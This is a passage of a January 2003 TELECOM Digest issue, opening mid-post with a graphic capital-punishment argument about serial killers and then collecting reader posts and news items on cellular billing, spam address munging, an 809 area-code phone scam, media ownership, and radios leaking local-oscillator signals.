lake, in 1983, ony a few years after Gacy lived in the same area.) Eyler, along with his lover, the professor of library science and Librarian at Indiana State University in Terre Haute, IN were both heavily into a scene where they lured young guys from the bus station in Terre Haute out to the professor's home and 'imposed' on them. When the heat got on Larry Eyler, the professor moved Larry to Chicago, after Larry had serially murdered several guys around Indiana. The icing on the cake however happened when Larry, not content to merely serial-murder all the young guys he and the professor cruised at the bus station in Terre Haute, invited the professor to join him over Labor Day weekend in Chicago when Larry brought the 'guest of honor', a fifteen year old male prostitute home for the two of them, they proceeded to murder the boy as well, and dispose of his totally dismembered body in dumpster wagons in the alley behind Larry's new apartment in Rogers Park. What kind of deterrant would stop two men from acting out their sexual fantasies like that? What worked in the professor's case was the prosecutor cut him a deal; snitch on Larry so we can gas him, we will let you walk. And it worked. Larry died of AIDS in prison in Illinois before the state got the chance to inject him; his lover the professor got off the hook entirely, although his university employer in Terre Haute looked sort of askance at the whole lurid mess and told him get a job somewhere else. I really have to wonder if Ms. Davis feels that deterrent would have worked in their case either. Poor Larry, what made him act like that? Or what about that cannibal up in Milwaukee (his name escapes me right now; the guy who picked up young black guys in Chicago and took to his home in Milwaukee where he cooked them and ate them following sex.) When police *finally, eventually* heeded the neighbor's complaints about the guy (after he had acted out like that several times), the police got to his apartment and found four human heads on platters in the refrigerator and one headless body with maggots all over it upside down in a big barrel in the bedroom. In the kitchen by the microwave was a plate with an arm and a jar of mustard. He had planned to 'eat that later' when he got hungry again. One police officer on the scene had to be excused while he went out on the back porch to vomit and get a breath of fresh air. He died in prison also, but not by the official and approved method. A couple of the Brothers killed him in the prison laundry room. Poor guy, *what* got his mind so twisted? How would publicity about capital punishment have ever deterred him from such evil acts? Very simple, it wouldn't have. Serial killers with sexual desires will never be stopped nor prevented. To be sure, capital punishment deterred those three from continuing their evil acts. But obviously none of the 1736 men on the nation's death rows were very impressed. [Editor's Note to Ms. Davis-if-you-are-reading-this: My use of the term ""poor (name)"" in the above illustrations are NOT intended to say I agree with them, nor believe what they did was right. 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See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- Date: Thu, 16 Jan 2003 16:53:26 CST From: Mark J Cuccia Subject: Calling Party Pays to Call Cellular I originally wrote in ""Tokelau, Pitcairn and Other Obscure Places"", regarding different rates to call wireless phones domestically within a country, as well as now to call wireless phones in that destination country but originated from outside of that country: > And there are those trying to force this on cellular and landline > customers within in the US and Canada as well! :( Then Herve Andrieu replied: > However I think that when you say ""there are those trying to force this > on celullar and landline customers within the US and Canada as well!"" is > not completely exact. Long distance providers are not trying to force US > and Canadian customers to pay for the extra charge when calling a > cellular phone in a country. Well, while my personal opinion is that the extra charge to call cellulars within those (non-NANP) countries as well as now charging NANP (US/Canadian) callers to call cellulars/wireless in those countries, is JUST PLAIN AND PURE ""GRAVY"" for the telcos/carriers/wireless providers, my phrase: ""And there are those trying to force this on cellular and landline customers within in the US and Canada as well! :("" does not really refer to charges on US/Canadian (landline or wireless) callers who are calling cellulars/wireless in non-NANP locations. No, here in the US and Canada, cellular/wireless/etc. is part of the landline numbering space. Most all wireless service in the US/Canada uses numbering/codes based on already existing tariffed ratecenter/exchange rate areas. If a cellular phone is based in the New Orleans rate area, it is a LOCAL call for me to call it from a landline or a cellular based in New Orleans. (Of course, I will might have to pay some form of outbound airtime if calling FROM a local cellular). But in MOST of the US and ALL of Canada, LOCAL calls do NOT cost (landline) customers any form of per-minute, per-call, per-mile charges. We pay a fixed monthly fee for telephone service (dialtone) and get a certain block of exchanges/prefixes/regions that we can call ""unlimited"". Sometimes, there are several different ""tiers"" or ""bands"" which one can optionally subscribe to (at a higher monthly fee) to get an even larger region of unlimited calling which would otherwise be per-call/mile/minute ""toll"". And calls to cellular phones based outside of our local calling area are billed at normal long-distance/toll rates, depending on our plan with our long-distance provider. What I was referring to as ""those trying to force this (caller-pays extra airtime charges) on us in the US/Canada"" has to do with proposals (which hopefully will FAIL) to force ""European/rest-of- the-word"" type cellular billing on US/Canada landline (and the calling side of cellular) customers for local/domestic-toll calling *WITHIN* the NANP (US/Canada). *IF* this were ever to happen, there would be no 'easy' way for one to know if one is calling something locally and ""free"" (landline) or if there will be huge charges to something that has a ""local ratecenter/exchange area"" NPA-NXX type code but is expensive because it is a cellular phone! :( FOR THE MOST PART, cellular/wireless numbers *do* have dedicated NXX c.o.codes, but they are *within* standard NPA (area) codes. AND, we don't have ""dedicated"" cellular area codes or any dedicated partition of numbering for cellular. And I for one am glad that we don't! The FCC stated some years back that 'dedicated' area codes or numbering at that level strictly for cellular/etc. is ""discriminatory"". And if EVER portability really gets extended to cellulars, my understanding is that not only would one be able to port their cellular number amongst different cellular providers, but also be able to port a number between landline and cellular! Thus a single NPA-NXX code could have wireless and landline -xxxx line-numbers all intermixed! There *ARE* examples (from the 1980's and earlier) of old-style mobile and AMPS cellular numbers ""sharing"" from a prefix already having landline numbers. Those were usually in specific ""thousands"" blocks. But even then, most billing software and routing didn't go down to the ""thousands"" level. And if the intended portability ever comes about, there wouldn't even be separate thousands blocks to differentiate between celllular and landline. Most cellular providers in the US and Canada now have all kinds of airtime/roaming/Long-Distance package plans, so the thought of making the CALLING party pay EXTRA just because the destination number is a cellular will be just pure GREED on the part of the cellular provider (and telcos too, since they are really the same companies). And I still think that this pure gravy/greed applies to other countries as well, especially when calling to a cellular in another country when calling from the NANP. But I rarely if ever make any 011+ calls to non-NANP points anymore, so it isn't really an immediate concern to me though! Mark J. Cuccia mcuccia@tulane.edu New Orleans LA ------------------------------ From: Tony Pelliccio Subject: Re: Pop-ups Add New Twist Organization: The Ace Tomatoe and Cement Company Date: Thu, 16 Jan 2003 17:18:10 GMT In article , joel@exc.com says: > [TELECOM Digest Editor's Note: Right now, it seems my Windows XP is > *very sick*. I think if I can raise the money I am going to have to > dump this machine entirely, and go with Linux. The trouble is, I have > many very wonderful Window-based programs which will not run on *nix. > I do not know if I will ever get it straightened out again. :( PAT] Why not multi-boot? I forget how it works on XP but in 2000 you have to install Linux first, then 2000 because you have to use MS boot loader for Win2K. Should work the same with XP. Tony [TELECOM Digest Editor's Note: You can do that on XP also of course, but, since my hard drive is already loaded with Windows stuff I would need to partition the disk and load Linux on it, then also a mechanism to boot the one of my choice. Its that partioning of the hard drive which scares me. I feel *certain* I would get it messed up, then not be able to get on line at all. PAT] ------------------------------ From: january2003@saurasite.com Subject: E-mail Address Problems was: Can I Send Bulk Faxes) Date: Thu, 16 Jan 2003 19:23:05 +0200 Please note that the address ""january2003@saurasite.com is a temporary address, and is valid only until the end of the current month. On Wed, 15 Jan 2003 14:50:25 +0200, in comp.dcom.telecom you wrote: > (Pat, as an aside, the only address that I have ever had > *seriously* compromised spam-wise is one that was published here - > sorry, but that *is* the awful truth :-)) > [TELECOM Digest Editor's Note: I know what you are saying is true. The > readership base is so large here, and that includes spammers and other > scum. Sorry, I cannot do anything it, at least at present. I've > thought of a few tricks, such as printing no names and addresses at all, > and just printing commentaries, but that is really unfair to readers > who wish to communicate with each other without going through me. I'm > still thinking about solutions, but not having much luck. Pat, at the time of the ""real address"" I used, you appeared to be opposed to any form of ""munged"" address, and I respected that. (Big mistake, in retrospect -- that address is *doomed*, and will probably be unusable forever!) I've noticed that you seem to have relaxed somewhat in this regard, and that was why I tried the ""temporary address"" approach this time. Why not simply let the poster use his/her own favourite method for dealing with their NG postings. That places the resposibility squarely on each poster's own shoulders, rather than yours. After all, we all know that posting on an NG carries spam risks, no matter what NG it is, and we have all pretty much worked out how we want to deal with the problem. I've had great success (so far) with the commonly used ""munge"" method that has a footnote on the lines of ""replace XXXX with YYYY to reply by e-mail"" I've used this method for quite a while, in a number of NGs, and I have yet to receive a single spam as a result (I can tell by the address used -- I use a range of addresses, and am fortunate to be able to chop and change as I wish, and also discard a given address if it gets compromised). Real People appear to be able to ""decypher"" without any problems, but the spammers seem to be using automated methods that can't resolve a munged address. Cheers Frank R.P. ------------------------------ From: John Higdon Subject: Re: FCC's Powell Concerned by Media Concentration Organization: Green Hills and Cows Date: Thu, 16 Jan 2003 09:32:04 -0800 In article , Paul Wallich wrote: > In article , Monty Solomon > wrote: >> By Andy Sullivan >> WASHINGTON, Jan 14 (Reuters) - U.S. officials will probably not >> radically lift ownership limits on television stations, newspapers >> and other media when they take up the issue this year, the top >> telecommunications regulator told Congress on Tuesday. Federal >> Communications Commission Chairman Michael Powell said the agency >> would not allow one company to dominate local airwaves or other media >> outlets when it revisits the long-standing rules under court order. > Isn't that what they've been saying all along, even as they lifted > restrictions on multiple outlet ownership? Perhaps Powell's definition > of ""dominate"" is a little like Bill Gates's definition of ""monopolize"" > -- it doesn't kick in until well above the canonical 99 and 44/100 > percent. Unfortunately, the onus of ""media concentration"" is dissapating. Language from the commission has crept in to the effect that since there is robust competition from alternative media (e.g. the Internet, etc.), concentration of ownership of radio and TV doesn't wield the power that it used to. I, personally, feel this is bogus, but watch carefully as the FCC in coming months softens considerably its stand on traditional media concentration. There are also conglomeration apologists who maintain that concentration of ownership does not necessarily mean lack of diversity. Recently, a spokesman for the NAB (dubbed by many of us in the industry as ""not about broadcasting"") declared that since the relaxation of ownership rules, there is MORE diversity in broadcasting. I'm not sure what he was smoking. In San Diego, there are fifteen Clear Channel stations. A number of those are in Mexico, just over the border ... and exempt from the FCC rules. It is one of the most wretched radio markets in the country. Without any meaningful competition, the stations just grind out generic crap because they know they don't have to split the advertising pie with anyone but themselves. This is a clear indicator of what we can expect should the FCC relax its restrictions on ownerwhip even more. John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 ------------------------------ Date: Thu, 16 Jan 2003 10:42:19 -0800 From: Raymond Mereniuk Subject: Telephone Scam Found this article printed in a local neighborhood newspaper in the Vancouver, BC area. Port Moody is a small municipality at the east end of Burrard Inlet (Vancouver Harbor) which was for a few years the original terminus of Canada'a first transcontinental railway. It is primarily a bedroom community with its own police force. The newspaper has a web site, http://www.thenownews.com/index.html but this article was not available online. A scanned complete copy is available at http://members.shaw.ca/nospam4me/telescam.html I contacted the reporter via Email to ask if the rate of CAN$2,425 per minute (approx. US$1,500) was accurate but after one day received no reply. This rate must be a typo, the telephone company wouldn't pass such a high rate through to the customer would they? =================== Beware of latest telephone scam By Leneen Robb, Staff Reporter, Coquitlam Now Port Moody Police are warning residents to be aware of the latest telephone scam. Const. Brian Soles said the scam begins when residents receive a message on their answering machine or pager asking them to call a number beginning with area code 809, 284 or 876. ""The reason you are given to make this call varies,"" Soles said. ""It can be to receive information about a family member who has been ill, to tell you that someone has been arrested, died, you've won a lottery price, etc."" ""If you place the call, you will get a long recorded message, or be kept on the line for some other reason."" ""The call will be billed to you at $2,425 per minute."" Soles said the area codes are located in the British Virgin Island and Bahamas. The codes can be used as pay-per-call numbers, similar to 900 numbers in Canada and the United States. Shortly after sending in the original message received this reply from the reporter at the Coquitlam Now. Hi, Thanks for your inquiry. I double-checked our figure of $2,425 with the Port Moody Police today, and they tell me it is correct. I agree it's extremely high let's hope no one is taken in by this scam. Thanks again for taking the time to write in. Leneen Robb Reporter > ---------- > From: Raymond Mereniuk > Sent: Wednesday, January 15, 2003 9:12 AM > To: lrobb@thenownews.com > Subject: Re: ""Beware of latest telephone scam"" > > Hello > > Read your article titled ""Beware of latest telephone scam"" in the > January 11, 2003 edition of the Coquitlam Now. In the article you > mention a per minute rate of $2,425, is this correct? Seems very high. > Normally the the rates for such scams are lower. At this rate it is > obviously a scam and the telephone company is unlikely to put the charge > through to the customer. If the rate is in the range of $2.45 per > minute the telephone company will advise you to pay it and the scammer > gets their money. > Was $2,425 a mis-print? Raymond Mereniuk NoSpam4Me@shaw.ca Yes, this is a real Email Address [TELECOM Digest Editor's Note: This seems to be a case where the kindly police officers once again do not know what they are talking about (what else is old?) and the newspaper reporters serve as the police cheering squad. It reminds me of that old make-believe scam several years ago where people were paged and given a number to call back in New York City which was an audiotext service which charged a premium rate for using it. All these telecom managers in companies were busy sending out memos warning their employees to not make calls like that. We here at TELECOM Digest thoroughly debunked that rumor when it was pointed out that premium charges do *not* carry across interlata lines. The *only* 'prefix' that carries a surcharge here in the USA is areacode 900. Exchanges like 976, and 540 (in New York for example) cost whatever they cost on local, intralata calls. Outside of the LATA (or maybe areacode, I do not remember which for sure) the call costs only what a call to that areacode/LATA would cost. Those premium surcharge numbers are *only* for use in the local area. An example which was given back then in the Digest referred to (at the time) a very popular service for gay men in San Francisco, at the number 415-976-GAYS. The proprietor of the service complained to Pacific Bell that his lines were always jammed up, but his commissions were zilch. That started happening once guys from out of state figured out they could simply ignore the opening disclaimer message about a two dollar charge for three minutes of hot, adult chat. Eventually the phone company convinced AT&T and the other LD carriers to quit connecting to 976 numbers for that reason. I think MCI was the first LD carrier to quit connecting their customers with 976 numbers. The Chicago area guys, for example, were getting connected for about 25 cents, the cost of a three minute LD call to the west coast. Maybe one of our San Francisco readers can tell us if 976-GAYS is still a working number or not, or of the technicalities of collecting the surcharge via the phone bill was too difficult to overcome. In any event, don't worry about additional surcharges when calling outside your own state (or in most cases even your own area code). All you have to pay is the toll charges. Ditto on international calls. A WARNING: I cannot say if this same thing applies in Canada as well, but I think it does. PAT] ------------------------------ Date: Thu, 16 Jan 2003 16:36:45 -0500 From: Monty Solomon Subject: Sex.Com Announces Partial Victory in Domain Name Property Federal Appeals Court Looks to California State Supreme Court SAN FRANCISCO, Jan. 16 /PRNewswire/ -- Sex.Com (http://www.sex.com) announced pivotal results today in the pending Court decision against VeriSign (NASDAQ:VRSN). With signs pointing towards a win for Sex.Com, the Ninth U.S. Circuit of Appeals in San Francisco has asked the state Supreme Court, the final authority on California Law, to intervene and decide whether a domain name is property that can be converted as well as guidance to assess damages that might amount to $100 million. Attorneys for Gary Kremen, founder and chief executive officer of Sex.Com, said the order, which recognizes domain names as a type of property, was a step toward victory in the case. The case involves Kremen, VeriSign, formerly Network Solutions, Inc. (NSI), and Stephen Cohen. VeriSign unilaterally took the Sex.Com domain name from Kremen upon receiving a forged letter from Cohen, asking that Sex.Com be transferred into his name. Without verifying the authenticity of the letter, NSI obligingly transferred the Sex.Com domain name into Cohen's name, in which he proceeded to build a multi-million international porn empire. Kremen produced definitive proof of the forgery and fraud, yet VeriSign refused to transfer back the registration to Kremen. http://finance.lycos.com/home/news/story.asp?story=30942119 ------------------------------ Date: Thu, 16 Jan 2003 16:37:51 -0500 From: Monty Solomon Subject: telcoBlue Announces Dial Tone Via the Internet to Corporate Long Distance Savings Up To 75 Percent SAN FRANCISCO, Jan. 16 /PRNewswire-FirstCall/ -- telcoBlue, Inc. (BB:TLCB), owners of the telcoBlue Connectivity+ Internet-based telephony network, said it has added standard handset dial tone service for corporate accounts, offering savings of up to 75 percent on long distance calls. telcoBlue will supply corporate accounts with a multi-port Cisco ATA (NASDAQ:CSCO) that allows standard analog telephones and FAX machines to connect to any telephone or FAX number within telcoBlues's Internet Voice Network (IVN) at significantly lower per minute charges than is possible over conventional long distance networks. The ATA 186 supplied by telcoBlue comes pre-configured and plugs into any existing cable or DSL modem. It doesn't require any code entries, access numbers, or special instructions. ... http://finance.lycos.com/home/news/story.asp?story=30943327 ------------------------------ Date: Thu, 16 Jan 2003 16:38:32 -0500 From: Monty Solomon Subject: Orange Battles Security Glitch on Microsoft Phone LONDON, Jan 16 (Reuters) - French-owned mobile phone operator Orange SA (SBF:ORA) said on Thursday it was working with U.S. software ally Microsoft Corp. (NASDAQ:MSFT) to solve what it called a ""security issue"" on a jointly developed phone. The British-based mobile phone group stressed that the SPV (sound, picture and video) phones, which use Microsoft software, were only at risk if customers disabled a security function by using a process explained by a Web site, www.register.co.uk. The problem hinges partly on so-called ""digital signatures"", which can establish the authenticity as well as the designer of applications available on the Internet. Orange said if the phone's security function was disabled, customers might be able to download applications that could make their SPV unstable. But it stressed that the disabling process took 20 minutes and would have to be repeated each time the phone was switched on. - http://finance.lycos.com/home/news/story.asp?story=30943329 ------------------------------ Date: Thu, 16 Jan 2003 16:46:03 -0500 From: Monty Solomon Subject: IBM Reports 2002 Fourth-Quarter and Full-Year Results ARMONK, N.Y.--(BUSINESS WIRE)--January 16, 2003--IBM (NYSE:IBM) -- Fourth-quarter diluted earnings per share of $1.11, including $.23 of net charges, or $1.34 excluding the net charges; -- Income from continuing operations of $1.9 billion, including $405 million of net charges in the fourth quarter; -- Fourth-quarter revenues from continuing operations of $23.7 billion, up 7 percent IBM today announced fourth-quarter 2002 diluted earnings per common share from continuing operations of $1.11, including $.23 per diluted share for charges primarily associated with the acquisition and integration of PricewaterhouseCoopers Consulting (PwCC), compared with diluted earnings per common share of $1.46 in the fourth quarter of 2001. Excluding the charges, diluted earnings per share from continuing operations would be $1.34. Fourth-quarter income from continuing operations was $1.9 billion -- including $405 million of charges -- compared with $2.6 billion in the fourth-quarter 2001. Excluding the charges, income from continuing operations would be $2.3 billion. Revenues from continuing operations for the fourth quarter were $23.7 billion, up 7 percent (4 percent at constant currency) compared with the fourth quarter of 2001 revenues of $22.1 billion. - http://finance.lycos.com/home/news/story.asp?story=30956966 ------------------------------ Date: Thu, 16 Jan 2003 16:52:38 -0500 From: Monty Solomon Subject: Slowed by a Flawed New Media Idea, AOL Hopes for Comeback By STEVE LOHR AOL Time Warner, the world's largest media company, stands today as a casualty of the salesmanship of Stephen M. Case and the credulousness of the Time Warner executives who bought into his sparkling vision of synergies between the old media and the new. Now, Mr. Case has resigned as the company's chairman, the vision has dimmed and executives from the Time Warner side of the combined business - filled with remorse if not resentment at having sold to Mr. Case's America Online at the height of the Internet mania - face the task alone of resuscitating the company. The AOL online service was supposed to be the engine of growth for the merged company, offering lucrative new ways to market the products of Time Warner's sterling brands, from Time, People and Fortune to Warner Brothers and CNN. It was meant to be the business equivalent of pairing Fred Astaire and Ginger Rogers: AOL would give Time Warner sex, and Time Warner would give AOL class. But nothing has turned out as planned. With online advertising in a deep slump, online subscriber growth waning and lingering questions about its accounting, AOL is an anchor dragging down the combined company. Analysts say that its woes overshadow the generally strong financial performance of the traditional media properties in the Time Warner stable. http://www.nytimes.com/2003/01/14/business/media/14AOL.html ------------------------------ Date: Thu, 16 Jan 2003 17:02:45 -0500 From: Monty Solomon Subject: Microsoft Reports Solid Second Quarter Financial Results Company Announces Dividend and Two-for-One Common Stock Split REDMOND, Wash., Jan. 16 /PRNewswire-FirstCall/ -- Microsoft Corp. (NASDAQ:MSFT) today announced revenue of $8.54 billion for the quarter ended Dec. 31, 2002, a 10 percent increase over revenue of $7.74 billion for the same period in the prior year. Operating income for the second quarter was $3.26 billion, including an additional $210 million charge reflecting the company's estimate of costs related to resolving pending state antitrust and unfair competition class action lawsuits. This compares to operating income of $2.84 billion reported in the second quarter of last year, which included a $660 million charge related to the company's estimate of the class action lawsuit costs. http://finance.lycos.com/home/news/story.asp?story=30958408 ------------------------------ From: Jim Thompson Subject: Re: New Billboards Sample Radios as Cars Go By, Then Adjust Date: Thu, 16 Jan 2003 22:37:14 GMT Organization: Cox Communications On Thu, 16 Jan 2003 15:12:28 GMT, joel@exc.com (Dr. Joel M. Hoffman), said , wrote the following: >> As part of a $20 million investment, Mr. Langeland, a Sacramento-based >> entrepreneur, has erected 10 billboards that can display both video >> and text and can be programmed with changing messages and images. In >> addition, the billboards include fledgling technology that is designed >> to identify the radio frequencies of passers-by. > Just to be clear, is the claim here that the sign can detect what > radio station I'm listening to? It cannot. > At least, it cannot do so electrically or electronically. I suppose > some method could be set up to see how drivers behave based on when > advertisements occur, but cars don't emit RF energy based on what > radio station is tuned. In England, where you are required to have a license for your TV, they use RF sniffing vans to find TV sets. There *may* be enough LO (local oscillator) leakage from a car radio that a good spectrum analyzer could tell what station you are tuned to. | James E.Thompson, P.E. | mens | | Analog Innovations, Inc. | et | | Analog/Mixed-Signal ASIC's and Discrete Systems | manus | | Phoenix, Arizona Voice:(480)460-2350 | | | Jim-T@analog_innovations.com Fax:(480)460-2142 | Brass Rat | | http://www.analog-innovations.com | 1962 | For proper E-mail replies SWAP ""-"" and ""_"" I love to cook with wine. Sometimes I even put it in the food. ------------------------------ Subject: Re: New Billboards Sample Radios as Cars Go By, Then Adjust Reply-To: jhaynes@alumni.uark.edu Organization: University of Arkansas Alumni From: haynes@alumni.uark.edu (Jim Haynes) Date: Thu, 16 Jan 2003 22:51:02 GMT In article , Dr. Joel M. Hoffman wrote: > Just to be clear, is the claim here that the sign can detect what > radio station I'm listening to? It cannot. > At least, it cannot do so electrically or electronically. I suppose Don't be too sure. Unless they are well shielded radio receivers emit a little bit of local oscillator signal, which can be picked up and used to determine the frequency you are listening to. I have read of TV survey companies driving around and detecting local oscillator signals to determine which channels are being viewed in homes. I've also read that in England, where radio and TV reception is taxed, the tax collectors can drive around and determine who is running a receiver who has not paid the tax. Then there are the cases where someone can learn remotely what is being displayed on your computer screen by detecting radio emissions from the monitor. ------------------------------ From: John Higdon Subject: Re: New Billboards Sample Radios as Cars Go By, Then Adjust Organization: Green Hills and Cows Date: Thu, 16 Jan 2003 16:55:35 -0800 In article , joel@exc.com (Dr. Joel M. Hoffman) wrote: > At least, it cannot do so electrically or electronically. I suppose > some method could be set up to see how drivers behave based on when > advertisements occur, but cars don't emit RF energy based on what > radio station is tuned. Are you telling us that decades of radio sniffing by the British post office (to track down listening license scofflaws) has been nothing but a fraud? Actually, most consumer radios DO leak significant amounts of LO signal, whose frequency is a function of the station to which the radio is tuned. Trust me. John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 [TELECOM Digest Editor's Note: Not only that, John, but years ago when tube-style radios were common, radio station pirates could make actual broadcasting stations by using that IF (intermediate frequency) which comes around 440 KC I think. They would get in the back of the radio, clip the wire with the IF, attach it to an outside antenna, tune a few of the trim pots to crank up the IF to around a tenth or a quarter of a watt, then set the tuning dial on the front of the radio a little bit and that radio would be talking maybe a quarter or half-mile away. Bill Pfieffer came over to my house one day and did that. He even had a better idea. He hooked the RF output to one side of an unused phone pair. Then we took my portable radio and walked down the street for close to a mile and whenever we held that little portable battery operated up next to a telephone pole, we would hear that old junky tube style radio back at my house. Yes indeed, receiving radios do also transmit a little. PAT] ------------------------------ From: Megan Marshall Subject: Re: New Billboards Sample Radios as Cars Go By, Then Adjust Date: Thu, 16 Jan 2003 20:17:49 -0500 Dr. Joel M. Hoffman wrote: >> As part of a $20 million investment, Mr. Langeland, a Sacramento-based >> entrepreneur, has erected 10 billboards that can display both video >> and text and can be programmed with changing messages and images. In >> addition, the billboards include fledgling technology that is designed >> to identify the radio frequencies of passers-by. > Just to be clear, is the claim here that the sign can detect what > radio station I'm listening to? It cannot. > At least, it cannot do so electrically or electronically. I suppose > some method could be set up to see how drivers behave based on when > advertisements occur, but cars don't emit RF energy based on what > radio station is tuned. It most certainly can, and that is how the sign works. It detects what radio station cars are listening to and adjusts the current ad to the demographics of the radio station. How does it do this? By receiving the leaked weak signals emitted by the car radio's local oscillator and using software to compare them to area broadcasts of each local radio station. Radar detector detectors used where radar detectors are illegal, and TV detectors used where TV's are taxed each year (such as UK) operate on the same principle. [TELECOM Digest Editor's Note: And also see my message to John Higdon in this same issue of the Digest. In the case especially of the old style tube radios, the leak was not always all that weak. PAT] ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. It is also gatewayed to Usenet where it appears as the moderated newsgroup 'comp.dcom.telecom'. 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According to a pair of MIT graduate students, much of it is still on the hard drives, waiting to be discovered by the machine's new owner. In a new article in the engineering journal IEEE Security and Privacy, Simson Garfinkel and Abhi Shelat describe how they went on a used hard drive buying spree, and collected vast amounts of private information in the process. Garfinkel, author of several books on computer security, is working on a doctorate in computer science at MIT. He and fellow graduate student Shelat wondered whether people erased their hard drives before reselling their PCs. ''I wanted to find out if this was a big problem or not,'' said Garfinkel. So Garfinkel and Shelat purchased 158 hard drives at swap meets and used computer shops throughout the United States, and on the Internet auction site eBay. They wound up with 129 drives that actually worked. Then they used commonplace software tools to look for data on the drives. They found everything from love letters to pornography and, in one case, over 3,700 credit card numbers. http://www.boston.com/dailyglobe2/016/business/Discarded_hard_drives_found_full_of_personal_data+.shtml ------------------------------ Date: Thu, 16 Jan 2003 19:38:09 -0500 From: Monty Solomon Subject: Yahoo Plans Big Expansion of Broadband By SAUL HANSELL Buoyed by its growing sales and profits, Yahoo is planning to take its high-speed Internet access service nationwide. Yesterday, the big Internet portal announced better-than-expected financial results for the fourth quarter of 2002. It was able to expand its sales of online advertising, even as it added new services that generate monthly fees from users. One of the fastest-growing of those services is high-speed, or broadband, Internet access, which Yahoo now offers as a co-branded service with SBC Communications, the phone company that serves about one-third of the nation. http://www.nytimes.com/2003/01/16/technology/16YAHO.html [TELECOM Digest Editor's Note: Readers of the New York Times are reminded that we have a 'group ID/password' to use there, to avoid individual violations of privacy: Usename=telecomdigest Pwd=telecomdigest. You are welcome to use it. PAT] ------------------------------ Date: Thu, 16 Jan 2003 20:06:45 -0500 From: Monty Solomon Subject: Judge: Microsoft to Add Java in 120 Days Microsoft Corp. will have 120 days to release a version of Sun Microsystems' Java programming language for Windows after a federal judge issues his formal order against the software giant. U.S. District Judge J. Frederick Motz set that schedule Wednesday during a lengthy hearing with lawyers from both companies. Sun had sought a 90-day period, while Microsoft wanted a three-phase approach that would have extended over 180 days. http://finance.lycos.com/home/news/story.asp?story=30949120 ------------------------------ Date: Thu, 16 Jan 2003 20:09:03 -0500 From: Monty Solomon Subject: Telemundo's Tricky Transition by Penelope Patsuris, 01.16.03, 11:00 AM ET NEW YORK - With its October 2001 purchase of Telemundo, the number two Spanish-language television network in the U.S., NBC made a $2.7 billion bet that the booming Hispanic population will deliver blockbuster growth. There's no question that the Hispanic market is the next big thing for advertisers. Already 33 million strong, it's the fastest growing population segment, and its buying power is growing 118% annually, far faster than that of the general population. Despite the fact that the group represents 13% of the population, advertisers spend only 2.4% of their budgets targeting Hispanics. The opportunity is clear, but it remains a challenge to determine what media are most effective for advertisers that hunger for this ballooning demographic -- and Spanish-language TV isn't necessarily it. The George Lopez show on Walt Disney's (nyse: DIS - news - people ) ABC illustrates the challenges facing Telemundo. The sitcom is a hit, and it marks the start of Hispanic themed-shows' assimilation into mainstream media, much the way NBC's Cosby show was a pioneer for blacks on television. But the Lopez show underscores a crucial fact -- as Hispanics become more assimilated, they will turn more to mainstream media for their entertainment, and tune in less to Spanish-language television. http://www.forbes.com/2003/01/16/cx_pp_0116telemundo.html ------------------------------ Date: Thu, 16 Jan 2003 20:48:41 -0500 From: Monty Solomon Subject: 20-Year Extension of Existing Copyrights Is Upheld By LINDA GREENHOUSE WASHINGTON, Jan. 15 - The Supreme Court today upheld the 20-year extension that Congress granted to all existing copyrights in 1998, declaring that while the extension might have been bad policy, it fell clearly within Congress's constitutional authority. The 7-to-2 decision came in the court's most closely watched intellectual property case in years, one with financial implications in the billions of dollars. A major victory for the Hollywood studios and other big corporate copyright holders that had lobbied strenuously for the extension, the ruling had the effect of keeping the original Mickey Mouse as well as other icons of mid-century American culture from slipping into the public domain. Justice Ruth Bader Ginsburg's majority opinion methodically dissected and rejected the arguments that a coalition of Internet publishers and other users of noncopyrighted material had marshaled against the Copyright Term Extension Act. The dissenters were Justices John Paul Stevens and Stephen G. Breyer. The named plaintiff in the case was Eric Eldred, who wanted to publish some Robert Frost poems. Other plaintiffs included a church choir director; an orchestral sheet music company; a company that restores old films; and Dover Publications, a publisher of books that have passed into the public domain. http://www.nytimes.com/2003/01/16/business/media/16BIZC.html ------------------------------ Date: Thu, 16 Jan 2003 20:50:04 -0500 From: Monty Solomon Subject: A Corporate Victory, but One That Raises Public Consciousness By AMY HARMON The Supreme Court's decision to uphold a 20-year extension on the copyright term handed a major victory to the entertainment and publishing industries, which stand to make billions of dollars by keeping control over lucrative properties for up to 95 years. But the public domain advocates who had challenged the constitution- ality of the 1998 law might claim a measure of success in the court of public opinion. Both copyright holders and their opponents said the decision was likely to sharpen the increasingly contentious battle over how to balance the rights of copyright holders with the public interest at a time when digital technology offers new powers to both sides. http://www.nytimes.com/2003/01/16/business/media/16IMPA.html ------------------------------ Date: Thu, 16 Jan 2003 21:40:38 -0500 From: Monty Solomon Subject: AT&T Broadband Users See 3rd E-Mail Shift By Peter J. Howe, Globe Staff, 1/16/2003 In a move likely to anger thousands of its customers, AT&T Broadband confirmed yesterday that its recent acquisition by Comcast Corp. will force more than 200,000 New England cable Internet modem subscribers to get their third e-mail address in barely a year. AT&T spokeswoman Jennifer L. Khoury said the company expects to begin making the switch from e-mail addresses ending in attbi.com to comcast.net starting in March. It will affect more than 2 million subscribers nationally. Mail sent to old attbi.com e-mail addresses may be forwarded to the new comcast.net addresses for as few as 60 days before the attbi.com addresses are shut down, the company said. Subscribers who were outraged last March over being forced to notify scores of friends, business associates, Internet newsletters, and online merchants when the company changed e-mail from mediaone.net to attbi.com blasted the latest planned switchover yesterday. http://www.boston.com/dailyglobe2/016/business/AT_T_Broadband_users_see_3d_e_mail_shift+.shtml ------------------------------ Date: Thu, 16 Jan 2003 19:27:01 -0500 From: Monty Solomon Subject: Keeping Tabs: A Two-Way Street By WILL WADE An ordinary day at the zoo for Timothy Neher was quickly turning traumatic. ""It was the first time I ever got to take out my niece and nephew by myself,"" he remembers of the 1997 outing. ""Everything was fine until lunchtime. I glanced up at the menu at the snack bar; it couldn't have been more than a few seconds, but when I looked down they were gone."" His 5-year-old niece and 3-year-old nephew were nowhere in sight. ""I felt that panicky feeling every parent dreads,"" Mr. Neher said. Then the five-minute crisis was over. The children had wandered behind the snack stand. ""When I took the kids home that night,"" he said, ""I told their parents we'd had some excitement, but I'd come up with a great idea for a company."" Almost six years later, the company, Wherify Wireless 